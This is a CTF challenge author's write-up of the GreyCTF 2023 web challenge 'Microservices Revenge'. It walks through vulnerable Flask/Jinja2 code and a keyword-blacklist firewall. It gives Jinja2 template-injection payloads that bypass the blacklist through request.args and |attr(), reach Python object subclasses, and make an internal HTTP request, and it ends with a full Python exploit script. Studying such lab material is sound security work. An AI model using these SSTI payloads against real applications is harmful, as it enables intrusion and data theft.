- Jh123x: Blog, Code, Fun and everything in between./
- My Blog Posts and Stories/
- GreyCTF 2023 Qualifiers: Microservices Revenge/
GreyCTF 2023 Qualifiers: Microservices Revenge
Table of Contents
This is the author’s writeup for the challenges Microservices Revenge
in the web category.
This describes the intended solution when I made the challenge.
Challenge description #
I’ve upgraded the security of this website and added a new feature. Can you still break it?
- Junhua
Similar to
Microservices, a dist.zip
was also provided for this challenge with the server set up.s
My Notes #
- Was expecting the challenge to be solve after a few hours, but it was solved around the first hour.
- There were unexpected solutions due to the nature of the setup.
- This was meant to be more of a Medium difficulty web challenge for CTF Veterans.
- This challenge tests on the following:
- Server Side Template Injection (SSTI) with black listed characters
- Sending a request through a SSTI using jinja2 functions
Notes to future self #
- Spawn more gateways to handle more traffic.
- Create the
dist.zip
file only after the challenge is ready. - Do not run flask as root user in docker container. (Resulted in a unexpected solution)
Analyzing the files #
For this challenge, there are 4 different microservices.
- Gateway
- Admin Page
- Home Page
- Flag Page
If you have not taken a look at the Microservices writeup, I would recommend you to do so first as the code analysis will be similar and I will only be going through the main code differences.
Gateway #
This are the notable changes to the gateway from Microservices.
routes = {
"adminpage": "http://radminpage",
"homepage": "http://rhomepage",
"flagpage": "http://rflagpage/construction",
}
...
# Extra protection for my page.
banned_chars = {"\\","_","'","%25","self","config","exec","class","eval","get"}
def is_sus(microservice: str, cookies: dict) -> bool:
"""Check if the arguments are sus"""
acc = [val for val in cookies.values()]
acc.append(microservice)
for word in acc:
for char in word:
if char in banned_chars:
return True
return False
@app.route("/", methods=["GET"])
def route_traffic() -> Response:
"""Route the traffic to upstream"""
...
# My WAF
if is_sus(request.args.to_dict(), request.cookies.to_dict()):
return Response("Why u attacking me???\nGlad This WAF is working!", 400)
# Fetch the required page with arguments appended
with Session() as s:
for k, v in request.cookies.items():
s.cookies.set(k, v)
...
Compared to the gateway from
Microservices,
we can see that the main domain has been changed and there is a new /flag
endpoint.
Cookies are also set in the get
request from the gateway to the microservices.
However, there is now a small “Firewall” that fails requests that contains the following characters: \\
, _
, '
, %25
, self
, config
, exec
, class
, eval
and get
.
Do note that the %25
is the URL encoded version of %
. In this implementation of the firewall, the %25
is not actually preventing the %
character from being used as the characters will be unquoted before being checked.
Admin Page #
The admin page is completely different from Microservices.
@app.get("/")
def index() -> Response:
"""
The base service for admin site
"""
user = request.cookies.get("user", "user")
# Currently Work in Progress
return render_template_string(
f"Sorry {user}, the admin page is currently not open."
)
From the code, we can see that the server makes use of render_template_string
, which is vulnerable to Server Side Template Injection (SSTI).
We can also see that the user
used in the template string comes from the cookie user
which we can control.
This is the main entry point for the user to start solving the challenge.
Home Page #
@app.route("/")
def homepage() -> Response:
"""The homepage for the app"""
cookie = request.cookies.get("cookie", "")
# Render normal page
response = make_response(render_template("index.html", user=cookie))
response.set_cookie("cookie", cookie if len(cookie) > 0 else "user")
return response
The homepage is also slightly different from
Microservices.
Now it sets the cookie cookie
to the value of the cookie cookie
or user
if the cookie cookie
is empty.
{% extends 'base.html' %}
{% block alert %}
<div class="alert alert-danger" role="alert">
This website is under construction, only admins allowed.
</div>
{% endblock %}
{% block content %}
<h1>Hi {{user | safe}}</h1>
<h2>You are not an admin</h2>
<p>I am still constructing my microservices site. Please come back later</p>
{% endblock %}
The template is also different and contains a {{ user | safe }}
this is a red herring it only allows for injecting html elements into the home page website as a self xss.
Flag Page #
This is a new service that is not previously available in Microservices.
@app.route("/")
def index() -> Response:
"""Main page of flag service"""
# Users can't see this anyways so there is no need to beautify it
# TODO Create html for the page
return jsonify({"message": "Welcome to the homepage"})
@app.route("/flag")
def flag() -> Response:
"""Flag endpoint for the service"""
return jsonify({"message": f"This is the flag: {FLAG}"})
@app.route("/construction")
def construction() -> Response:
return jsonify({"message": "The webpage is still under construction"})
There are 2 different endpoints in the flag service.
- The
/
route which shows a welcome message - The
/flag
route which shows us our flag. This is also the target server we should hit. - The
/constuction
route which shows us a message that the website is still under construction. This is also the page that is pointed to by the gateway when a user tries to visit the page directly.
Solution #
From what we have gathered so far, we must fulfil 2 different conditions in order to get the flag
- Bypass the filters at the gateway
- Make a
get
request to the/flag
endpoint of the flag service
Also, do note that the cookie set in gateway and the cookie used in admin page is different.
Gateway users cookie
while the adminpage users user
instead.
This is where submodules come in handy.
For a typical Jinja2 (Template engine using flask) Server Side Template Injection challenge, we make use of the construct to leak all available functions so we can use them,
# SSTI Leak available objects
"".__classes__.__mro__.__getitem__(1).__subclasses__()
# This is basically getting the subclasses of the object class in python. (Which is everything)
However, due to the web application firewall, we will have to use some tricks to change the payload to bypass the firewall.
Within Jinja2 templates, we can access the query parameters using request.args
, this allows us to use some constructs which are not allowed in the cookie.
By using request.args
, we can insert __class__
into the template and bypassing the firewall.
However, we still need a way to access an element of the class with the string.
This is where |attr()
comes in.
To access an element, instead of using a.b
, we can also use a|attr('b')
.
This allows us to access the element of the class with a string instead.
With these 2 primitives, we can now leak all available functions from jinja2.
We can visit /?service=adminpage&cl=__class__&mro=__mro__&sub=__subclasses__&getitem=__getitem__"
with the cookie below to obtain all the subclasses of the object class
# "".__classes__.__mro__.__getitem__(1).__subclasses__() becomes
{{"" |attr(request.args.mro)|attr(request.args.getitem)(1)|attr(request.args.sub)()}}
This shows all the leaked functions we have in the template.
To filter for functions which are required, we can simple find the string HTTP
and we will come across the <class 'http.client.HTTPConnection'>
class which allows us to make a HTTP request.
It is in the index 445
so we can access it using ['445']
.
Now, we will have to create the connection and read the contents.
By using {%set conn=....%}
we can create a conn
variable and make use of another {{}}
to read the contents of the request.
This will give us the payload below.
{%set conn=""|attr(request.args.cl)|attr(request.args.mro)|attr(request.args.getitem)(1)|attr(request.args.sub)()|attr(request.args.getitem)(445)("rflagpage")%}{{conn.request("GET","/flag")}}{{conn.getresponse().read()}}
By placing this as the cookie and visiting /?service=adminpage&cl=__class__&mro=__mro__&sub=__subclasses__&getitem=__getitem__
, we will receive the flag
Solution Script #
The full solution script in Python is shown below.
import re
from requests import Session
BASE_URL = "http://localhost:5005"
FLAG_FORMAT = re.compile(r"grey{.*?}")
with Session() as s:
response1 = s.get(
f"{BASE_URL}/?service=adminpage&cl=__class__&mro=__mro__&sub=__subclasses__&getitem=__getitem__",
cookies={
'user': """{{""|attr(request.args.cl)|attr(request.args.mro)|attr(request.args.getitem)(1)|attr(request.args.sub)()}}"""
}
)
# Find request object
c1=response1.content.decode()
sub_classes = c1.split(',')
# Check if lib to send HTTP request is present
request_lib = list(filter(lambda x: 'http.client.HTTPConnection' in x, sub_classes))
if len(request_lib) == 0:
print("No object found to make HTTP request")
print(c1)
exit(1)
# Get index of request object
index = sub_classes.index(request_lib[0])
# Send a request to the flag page and obtain response on the admin page
response = s.get(
f"{BASE_URL}/?service=adminpage&cl=__class__&mro=__mro__&sub=__subclasses__&getitem=__getitem__",
cookies={
"user": """{%set conn=""|attr(request.args.cl)|attr(request.args.mro)|attr(request.args.getitem)(1)|attr(request.args.sub)()|attr(request.args.getitem)("""
f"{index}"
""")("rflagpage")%}{{conn.request("GET","/flag")}}{{conn.getresponse().read()}}"""
},
)
content = response.content.decode()
result = FLAG_FORMAT.search(content)
if result is not None:
print(f"Flag: {result.group(0)}")
else:
print("No flag found")
print("Content: ", content)